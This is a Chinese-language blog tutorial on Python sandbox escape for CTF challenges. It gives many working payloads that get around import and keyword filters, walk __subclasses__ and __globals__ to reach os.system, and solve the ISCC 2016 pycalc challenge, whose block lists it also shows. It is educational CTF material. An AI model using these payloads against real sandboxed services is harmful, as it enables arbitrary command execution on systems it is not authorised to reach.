Python沙箱逃逸

执行模块

在Python中执行系统命令的方式有

  • os
  • commands:仅限2.x
  • subprocess:subprocess.getoutput(“whoami”),print(a);subprocess.run(“whoami”)
  • timeit:timeit.sys,timeit.timeit("__import__('os').system('whoami')", number=1)
  • platform:platform.os,platform.sys,platform.popen(‘whoami’, mode=’r’, bufsize=-1).read()
  • pty:pty.spawn(‘ls’),pty.os
  • bdb:bdb.os,cgi.sys
  • cgi:cgi.os,cgi.sys
  • ….

下面是一个脚本,跑出了其中导入os或者sys还有__builtins__的库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
all_modules_Python2 = [
'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
]

all_modules_Python3 = [
'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq'
]

methods = ['os', 'sys', '__builtins__']

results = {}
for module in all_modules_Python3:
results[module] = {
'flag': 0,
'result': {}
}

try:
m = __import__(module)
attrs = dir(m)
for method in methods:
if method in attrs:
result = 'yes'
results[module]['flag'] = 1
else:
result = 'no'

results[module]['result'][method] = result

except Exception as e:
print(e)

for result in results:
if results[result]['flag']:
print('[+]' + result)
for r in results[result]['result']:
print(' [-]' + r + ': ' + results[result]['result'][r])

效果是这样:

禁止import os

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import os
import os
import os
or
__import__('os')
or
import importlib
importlib.import_module('os').system('whoami')
or
import imp

# 查找 'os' 模块
file, path, description = imp.find_module('os')
# 加载 'os' 模块
os_module = imp.load_module('os', file, path, description)
# 访问 'os' 模块中的 'system' 函数
os_module.system('echo Hello, World!')
or
execfile('/usr/lib/python2.7/os.py')
system('whoami')
or
#通用
with open('/usr/lib/python3.11/os.py','r') as f:
exec(f.read())
system('whoami')

如果禁用了import os,可以使用空格绕过,如果空格被过滤,可以尝试__import____import__('os')__import__被禁了还有 importlib(Python3.x),imp(Python2.x),execfile()(Python2.x)等等

最后两种方法都需要库的路径一般情况下都是默认的,还有方法找路径的话就是用

1
2
import sys
print(sys.path)

关键字过滤

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

1
__import__('so'[::-1]).system('whoami')
1
2
3
b = 'o'
a = 's'
__import__(a+b).system('whoami')
1
__import__('o'+'s').system('whoami')

还可以利用 eval 或者 exec

1
2
3
4
5
6
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
yankun\administrator
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
yankun\administrator
>>>

对于绕过操作还有很多比如说:逆序、变量拼接、base64、hex、rot13等等

sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os 是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

如果将 os 从 sys.modules 中剔除或者改变,os 就彻底没法用了:

1
2
3
4
5
6
7
>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'str' object has no attribute 'system'
>>>

假如遇到上面这种让os模块成了字符串,绕过思路就是将其删除掉,重新加载

1
2
3
4
5
sys.modules['os'] = 'not allowed'# 

del sys.modules['os']
import os
os.system('whoami')

执行函数

通过上面内容我们很容易发现,光引入 os 只不过是第一步,如果把 system 这个函数干掉,也没法通过os.system执行系统命令,并且这里的system也不是字符串,也没法直接做编码等等操作。

不过,要明确的是,os 中能够执行系统命令的函数有很多:

1
2
3
4
5
print(os.system('whoami'))
print(os.popen('whoami').read())
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x

应该还有一些,可以在这里找找:

  1. Python2.x :https://docs.python.org/2/library/os.html
  2. Python3.x :https://docs.python.org/3/library/os.html

其次,可以通过 getattr拿到对象的方法、属性:

1
2
3
4
5
6
7
8
9
10
>>> import os
>>> getattr(os, 'metsys'[::-1])('whoami')
kali
0
>>>
or
>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
kali
0
>>>

getattr 相似的还有 __getattr____getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。

__builtin__builtins__builtins__

在python2.x的版本中,内置模块被命名为了__builtin__,到了python3.x就成了builtins都需要将其导入才能查看:

2.x:

1
2
3
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x:

1
2
3
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

__builtins__实际就是__builtin__builtins的引用,它不需要导入即可使用,但是__builtins____builtin__builtins还是有一个小区别,就是在局部的作用域中(一个函数内部,比如说 print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))__builtins__ 就是是一个字典类似于__builtin__.__dict__的引用,而非__builtin__本身。还有我觉得有必要了解下Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的。

那什么是LEGB呢?

  1. L(Local)——局部作用域
    • 当前函数或代码块内部定义的变量。
    • 如果在函数内定义了一个变量,Python 首先会在当前函数的局部作用域内查找。
  2. E(Enclosing)——闭包函数外的局部作用域
    • 如果局部作用域中没有找到变量,Python 会查找外层函数(即闭包)中定义的变量。
    • 适用于嵌套函数的场景,即函数内部定义了另一个函数。
  3. G(Global)——全局作用域
    • 如果在局部和闭包作用域中都找不到变量,Python 会查找模块的全局作用域。
    • 全局作用域中的变量通常定义在脚本的顶层,或者是 global 声明的变量。
  4. B(Built-in)——内置作用域
    • 如果上述作用域都找不到变量,Python 会在内置作用域中查找。
    • 内置作用域包含 Python 语言提供的内置函数和变量,例如 len()print()Exception

查找顺序:

Python 遇到变量时会按照 L → E → G → B 的顺序依次查找,直到找到匹配的变量为止。如果所有作用域都找不到,会抛出 NameError

回归话题__builtins__有很多有意思的函数

1
2
3
4
5
6
7
8
9
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
kali
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

如果遇到将__builtins__里面的危险函数删除又该如何绕过嘞?

1
2
3
__builtins__.__dict__['eval'] = 'not allowed'
or
del __builtins__.__dict__['eval']

可以利用 reload(__builtins__) 来恢复 __builtins__。但是,我们在使用 reload 的时候也没导入,说明reload也在 __builtins__里,那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。

注意:2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload

继承关系绕过

1
2
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

其中__mro__,是个元组,记录了继承关系:

1
2
3
4
5
6
7
8
9
10
>>> class test:
... pass
...
>>> test.__bases__
()
>>> class test(object):
... pass
...
>>> test.__bases__
('object'>,)

类的实例在获取 __class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它继承了 object 类,这个类是所有类的超类。具有相同功能的还有__base____bases__。需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的:

由于:没法直接引入 os,那么假如有个库叫A,在A中引入了os,那么我们就可以通过__globals__拿到 os(__globals__是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os

1
2
3
4
>>> import site
>>> site.os
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>>

也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用 reload,变相加载 os

1
2
3
4
5
6
7
8
9
>>> import site
>>> os
Traceback (most recent call last):
File "", line 1, in
NameError: name 'os' is not defined
>>> os = reload(site.os)
>>> os.system('whoami')
kali
0

所有类都继承object,那么看看他的子类(Python2.x),(Python3.x,for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print(i)):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)

可以看到,site 就在里面,以 2.x 的site._Printer为例:

1
2
3
>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os'].system('whoami')
kali
0

os 又回来了。并且 site 中还有 __builtins__

这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings

1
2
3
4
5
6
7
8
9
10
11
12
>>> import warnings
>>> warnings.os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'os'
>>> warnings.linecache
<module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>
>>> warnings.linecache.os
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
kali
0

其中warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性:

1
2
3
4
def __init__(self, record=False, module=None):
...
self._module = sys.modules['warnings'] if module isNoneelse module
...

所以通过_module也可以构造 payload:

1
2
3
>>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
kali
0

3.x 中的warnings虽然没有 linecache,也有__builtins__

1
2
3
>>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
kali
0

如果object没被过滤还可以这样

1
object.__subclasses__()[117].__init__.__globals__['system']('whoami')

还有一种是利用builtin_function_or_method__call__

1
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')

还有

1
[].__getattribute__('append').__class__.__call__(eval, '1+1')

还有

1
2
3
4
5
6
class test(dict):
def __init__(self):
print(super(test, self).keys.__class__.__call__(eval, '1+1'))
# 如果是 3.x 的话可以简写为:
# super().keys.__class__.__call__(eval, '1+1'))
test()

上面的这些利用方式总结起来就是通过__class____mro____subclasses____bases__等等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval

文件读写

2.x 有个内建的 file

1
2
3
4
5
>>> file('key').read()
'admin\n'
>>> file('key', 'w').write('Macr0phag3')
>>> file('key').read()
'admin'

还有个 open,2.x 与 3.x 通用。

还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。

为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来: math.py:

1
2
3
import os

print(os.system('whoami'))

调用

1
2
3
import math
admin
0

这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re

1
2
3
4
5
>>> 're'in sys.modules
True
>>> 'math'in sys.modules
False
>>>

当然在import re 之前del sys.modules['re']也不是不可以…

最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。

读文件暂时没什么发现特别的地方。

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

1
2
3
4
5
>>> __builtins__.open('key').read()
'admin\n'
or
>>> ().__class__.__base__.__subclasses__()[40]('key').read()
'admin'

过滤了[]

pop__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0)

1
2
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'kali\n'

CTF题目

来自iscc 2016的Pwn300 pycalc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python2
# -*- coding:utf-8 -*-


def banner():
print"============================================="
print" Simple calculator implemented by python "
print"============================================="
return


def getexp():
return raw_input(">>> ")


def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)


def sandbox_filter(command):
blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
'=', 'open', 'read', 'sys', ';', 'os']
for forbid in blacklist:
if forbid in command:
return0
return1


def sandbox_exec(command):# sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
if sandbox_filter(command) == 0:
print'Malicious user input detected!!!'
exit(0)
command = 'result = ' + command
try:
exec command in _global # do calculate in a sandboxed environment
except Exception, e:
print e
return0
result = _global['result'] # extract the result
return result


banner()
while1:
command = getexp()
print sandbox_exec(command)

exec command in _global这一句就把很多 payload 干掉了,由于 exec 运行在自定义的全局命名空间里,这时候会处于restricted execution mode

1
2
3
4
>>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__
restricted attribute
>>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')()
file() constructor not accessible in restricted mode

不过也正是由于 exec 运行在特定的命名空间里,可以通过其他命名空间里的 __builtins__,比如 types,json 库,来执行任意命令:

1
2
3
4
>>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets''ys'[::-1])('whoami')
kali
or
getattr(().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('o'+'s'), 's'+'yst'+'em')('whoami')

两个payload本质区别在取导入的时不同的库


Python沙箱逃逸
https://yankun8.github.io/blog/2025/01/24/Python/沙箱逃逸/
作者
yankun
发布于
2025年1月24日
许可协议